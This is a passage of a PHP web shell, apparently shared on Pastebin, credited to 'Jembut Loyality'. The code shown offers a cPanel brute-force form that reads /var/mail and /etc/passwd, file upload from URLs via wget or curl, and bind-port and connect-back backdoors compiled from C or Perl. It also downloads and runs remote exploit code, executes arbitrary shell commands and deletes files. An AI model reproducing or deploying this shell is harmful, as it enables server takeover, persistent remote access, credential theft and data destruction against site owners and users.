  3838. <table border=1>
  3839. <body bgcolor="black" text="white"><br><br>
  3840.  
  3841. <center><b><font size="5" style="italic" color="white">Cpanel BruteForce<br><br></b></center></td></tr>
  3842. <tr>
  3843. <td>
  3844. <strong>User :</strong>
  3845. </td>
  3846. <td>
  3847. <strong><textarea cols="79" style="background:black;outline:none;color:white;" rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong>
  3848. </td>
  3849. <tr>
  3850. <td>
  3851. <strong>Pass :</strong>
  3852. </td>
  3853. <td>
  3854. <strong><textarea cols="79" style="background:black;outline:none;color:white;" rows="10" name="passwords"></textarea></strong>
  3855. </td>
  3856. </tr>
  3857. <tr>
  3858. <td>
  3859. <strong>Type :</strong>
  3860. </td>
  3861. <td>
  3862. <span style="background:black;outline:none;color:white;"><strong>Simple : </strong> </span>
  3863. <strong>
  3864. <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  3865. <font style="background:black;outline:none;color:white;"><strong>/etc/passwd : </strong> </font>
  3866. <strong>
  3867. <input type="radio" name="type" value="passwd" style="background:black;outline:none;color:white;"></strong><span class="style3"><strong>
  3868. </strong>
  3869. </span>
  3870. <td style="background:black;outline:none;color:white;" >
  3871. <strong><input class ='inputzbut' type="submit" value="START"></strong>
  3872. </td>
  3873. </tr>
  3874. </table>
  3875. <br>
  3876. <table border=1>
  3877. <tr>
  3878. <td valign="top" style="background:black;outline:none;color:white;" >
  3879. <strong>Get Config</strong>
  3880. <br>
  3881. <form method="POST" target="_blank">
  3882. <strong>
  3883. <input name="mendapatkan" type="hidden" value="passwd" >
  3884. </strong>
  3885. <strong>Folder Name :</strong>
  3886. <td>
  3887.  
  3888. <strong><input style="background:black;outline:none;color:white;" size="80" name="foldername" type="text"></strong>
  3889. <td style="background:black;outline:none;color:white;" >
  3890. <strong><input class ='inputzbut' type="submit" value="GO">
  3891. </strong>
  3892. </td>
  3893. <tr>
  3894. </form>
  3895. <tr>
  3896. <td style="background:black;outline:none;color:white;">
  3897. <strong>Get Wordlist</strong>
  3898. <form method="POST" target="_blank">
  3899. <strong>
  3900. <input name="pass" type="hidden" value="password">
  3901. </strong>
  3902. <strong>Url Config :</strong>
  3903. <td>
  3904.  
  3905. <strong>
  3906. <input style="background:black;outline:none;color:white;" size="80" name="url" type="text"></strong>
  3907.  
  3908. <td style="background:black;outline:none;color:white;"><strong><input class ='inputzbut' type="submit" value="GO">
  3909. </strong>
  3910. </td>
  3911. <tr>
  3912. <td style="background:black;outline:none;color:white;" colspan="6">
  3913. <strong>Info Security</strong></td>
  3914. </tr>
  3915. <tr>
  3916. <td style="background:black;outline:none;color:white;" style="width: 139px"><strong>Safe Mode</strong></td>
  3917. <td style="background:black;outline:none;color:white;" colspan="5">
  3918. <strong>
  3919. <?php
  3920. }
  3921. ///
  3922. elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
  3923. {
  3924. ?>
  3925. <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
  3926. <br><br><br><center>
  3927. <br>Hai? :)<br>
  3928. Gw cuma mau nanya, kenapa si cuma shell aja di taro logger?
  3929. gak suka? contact : kapaljetz666@hotmail.com :)
  3930. <br>fuck you<br>
  3931. </div>
  3932. <?php
  3933. }
  3934. //////////////////////////////////////////////////////////////////////////////
  3935. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
  3936. if(isset($_POST['uploadcomp'])){
  3937. if(is_uploaded_file($_FILES['file']['tmp_name'])){
  3938. $path = magicboom($_POST['path']);
  3939. $fname = $_FILES['file']['name'];
  3940. $tmp_name = $_FILES['file']['tmp_name'];
  3941. $pindah = $path.$fname;
  3942. $stat = @move_uploaded_file($tmp_name,$pindah);
  3943. if ($stat) {
  3944. $msg = "file uploaded to $pindah";
  3945. }
  3946. else $msg = "failed to upload $fname";
  3947. }
  3948. else $msg = "failed to upload $fname";
  3949. }
  3950. elseif(isset($_POST['uploadurl'])){
  3951. $pilihan = trim($_POST['pilihan']);
  3952. $wurl = trim($_POST['wurl']);
  3953. $path = magicboom($_POST['path']);
  3954. $namafile = download($pilihan,$wurl);
  3955. $pindah = $path.$namafile;
  3956. if(is_file($pindah)) {
  3957. $msg = "file uploaded to $pindah";
  3958. }
  3959. else $msg = "failed to upload $namafile";
  3960.  
  3961. }
  3962. ?>
  3963. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  3964. <table class="tabnet" style="width:320px;padding:0 1px;">
  3965. <tr><th colspan="2">Upload from computer</th></tr>
  3966. <tr><td colspan="2"><p style="text-align:center;"><input style="color:#FFFF00;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
  3967. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  3968. </tr>
  3969. </table></form>
  3970. <table class="tabnet" style="width:320px;padding:0 1px;">
  3971. <tr><th colspan="2">Upload from url</th></tr>
  3972. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  3973. <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
  3974. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  3975. <tr><td><select size="1" class="inputz" name="pilihan">
  3976. <option value="wwget">wget</option>
  3977. <option value="wlynx">lynx</option>
  3978. <option value="wfread">fread</option>
  3979. <option value="wfetch">fetch</option>
  3980. <option value="wlinks">links</option>
  3981. <option value="wget">GET</option>
  3982. <option value="wcurl">curl</option>
  3983. </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
  3984. </tr>
  3985. </table>
  3986. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  3987. <?php }
  3988. elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
  3989.  
  3990. // bind connect with c
  3991. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
  3992. $port = trim($_POST['port']);
  3993. $passwrd = trim($_POST['bind_pass']);
  3994. tulis("bdc.c",$port_bind_bd_c);
  3995. exe("gcc -o bdc bdc.c");
  3996. exe("chmod 777 bdc");
  3997. @unlink("bdc.c");
  3998. exe("./bdc ".$port." ".$passwrd." &");
  3999. $scan = exe("ps aux");
  4000. if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  4001. else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
  4002. }
  4003. // bind connect with perl
  4004. elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
  4005. $port = trim($_POST['port']);
  4006. $passwrd = trim($_POST['bind_pass']);
  4007. tulis("bdp",$port_bind_bd_pl);
  4008. exe("chmod 777 bdp");
  4009. $p2=which("perl");
  4010. exe($p2." bdp ".$port." &");
  4011. $scan = exe("ps aux");
  4012. if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
  4013. else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
  4014. }
  4015. // back connect with c
  4016. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
  4017. $ip = trim($_POST['ip']);
  4018. $port = trim($_POST['backport']);
  4019. tulis("bcc.c",$back_connect_c);
  4020. exe("gcc -o bcc bcc.c");
  4021. exe("chmod 777 bcc");
  4022. @unlink("bcc.c");
  4023. exe("./bcc ".$ip." ".$port." &");
  4024. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  4025. }
  4026. // back connect with perl
  4027. elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
  4028. $ip = trim($_POST['ip']);
  4029. $port = trim($_POST['backport']);
  4030. tulis("bcp",$back_connect);
  4031. exe("chmod +x bcp");
  4032. $p2=which("perl");
  4033. exe($p2." bcp ".$ip." ".$port." &");
  4034. $msg = "Now script try connect to ".$ip." port ".$port." ...";
  4035. }
  4036. elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
  4037. {
  4038. $pilihan = trim($_POST['pilihan']);
  4039. $wurl = trim($_POST['wurl']);
  4040. $namafile = download($pilihan,$wurl);
  4041. if(is_file($namafile)) {
  4042.  
  4043. $msg = exe($wcmd);
  4044. }
  4045. else $msg = "error: file not found $namafile";
  4046. }
  4047.  
  4048. ?>
  4049. <table class="tabnet">
  4050. <tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
  4051. <tr>
  4052. <td>
  4053. <table>
  4054. <form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  4055. <tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
  4056. <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
  4057. <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
  4058. <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
  4059. </table>
  4060. </td>
  4061. <td>
  4062. <table>
  4063. <form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  4064. <tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
  4065. <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
  4066. <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
  4067. <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
  4068. </table>
  4069. </td>
  4070. <td>
  4071. <table>
  4072. <form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
  4073. <tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
  4074. <tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
  4075. </tr>
  4076. <tr><td><select size="1" class="inputz" name="pilihan">
  4077. <option value="wwget">wget</option>
  4078. <option value="wlynx">lynx</option>
  4079. <option value="wfread">fread</option>
  4080. <option value="wfetch">fetch</option>
  4081. <option value="wlinks">links</option>
  4082. <option value="wget">GET</option>
  4083. <option value="wcurl">curl</option>
  4084. </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
  4085. </table>
  4086. </td>
  4087. </tr>
  4088. </table>
  4089. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  4090. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
  4091. <form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
  4092. <table class="cmdbox">
  4093. <tr><td colspan="2">
  4094. <textarea class="output" readonly>
  4095. <?php
  4096. if(isset($_POST['submitcmd'])) {
  4097. echo @exe($_POST['cmd']);
  4098. }
  4099. ?>
  4100. </textarea>
  4101. <tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
  4102. </table>
  4103. </form>
  4104. <?php }
  4105. else {
  4106. if(isset($_GET['delete']) && ($_GET['delete'] != "")){
  4107. $file = $_GET['delete'];
  4108. @unlink($file);
  4109. }
  4110. elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
  4111. @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
  4112. }
  4113. elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
  4114. $path = $pwd.$_GET['mkdir'];
  4115. @mkdir($path);
  4116. }
  4117. $buff = showdir($pwd,$prompt);
  4118. echo $buff;
  4119. }
  4120. ?>
  4121.  
  4122. <br>
  4123. <br>
  4124. <center>
  4125. <br><center><br><br><div class="info">$ Art is the Soul that Moves through the Media $</div><br>
  4126. <div class="jaya"><b>
  4127. <script language="JavaScript"> Year=new Date(); var copyright=Year.getUTCFullYear(); document.write("&copy; Jembut Loyality - " + copyright); </script>
  4128. <b></div></center><br><br>
  4129. </div>
  4130. </body>
  4131. </html>
  4132. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!